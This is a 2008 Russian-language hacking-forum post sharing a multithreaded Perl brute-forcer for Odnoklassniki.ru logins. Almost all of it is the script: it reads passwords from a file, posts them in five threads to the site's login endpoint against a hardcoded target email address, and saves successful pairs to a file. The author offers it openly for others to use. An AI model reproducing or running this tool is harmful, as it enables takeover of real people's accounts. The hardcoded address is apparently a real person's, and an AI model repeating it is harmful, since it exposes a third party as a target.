Многопоточный брутер Odnoklassniki.ru

Discussion in 'PHP' started by Xszz, 31 May 2008.

  1. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    Написан на перле .
    Брутит один э-майл по списку паролей .
    А вдруг кому-то пригодится .
    Строго не судите , написано на скорую руку .
    О багах и нужных доработках пишем тут .
    Code:
    
    #!/usr/bin/perl
    
    use strict;
    use LWP::UserAgent;
    use HTTP::Cookies;
    use Getopt::Std;
    use threads;
    ##############START#################
    print "\n AAAAAA OOOOOO H   H\n";
    print " A    A O    O H   H\n";
    print " AAAAAA O    O HHHHH\n";
    print " A    A O    O H   H\n";
    print " A    A OOOOOO H   H\n\n";
    
    open (FP , '<pass.txt') || die ("No password list! \n");  # Пароли в  pass.txt
    my @pass = <FP>;
    close FP;
    
    my $email = 'yusdinara@yandex.ru'; # МЫЛО!
    my $i=0;
    my @thr;
    my $ua = LWP::UserAgent->new;
    my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
    $ua->cookie_jar($cookies);   #Куки ;)
    for (@pass)
    {
    my $nowpass = $_;
    chomp @pass;
    if($thr[$i]) {threads->object($thr[$i]->tid())->join;}
    $thr[$i]=threads->create(\&brute,$email,$nowpass);
    
    $i=($i+1) % 5; #Количество потоков  (5)
    
    }
    
     foreach(threads->list) { $_->join; }
    
    sub brute()
    {
    
    $ua->cookie_jar($cookies);
    my $req = $ua->post('http://w17.odnoklassniki.ru/cdk/st.cmd/login/tkn/5622', {
    'st.posted'=>'set',
    'st.email'=>$_[0],
    'st.password'=>$_[1],
    'button_go'=>'%D0%92%D0%BE%D0%B9%D1%82%D0%B8'
    })->as_string;
    
    my $result = $req =~/302 Found/;
    if ($result)
    {
    print "[+]OK $_[0]:$_[0]\n";
    open (G , '>>good.txt');
    print G $_[0].":".$_[1]."\n";
    close G;
    die ('PASSWORD FOUND!!!!!\n\n\n');
    }
    else
    {
    print "[-] BAD $_[0]\n";
    
    }}
    
    #c0ded by Xszz.AoH;
    #c0pyright AoH.Team http://aoh.name;
    
     
    1 person likes this.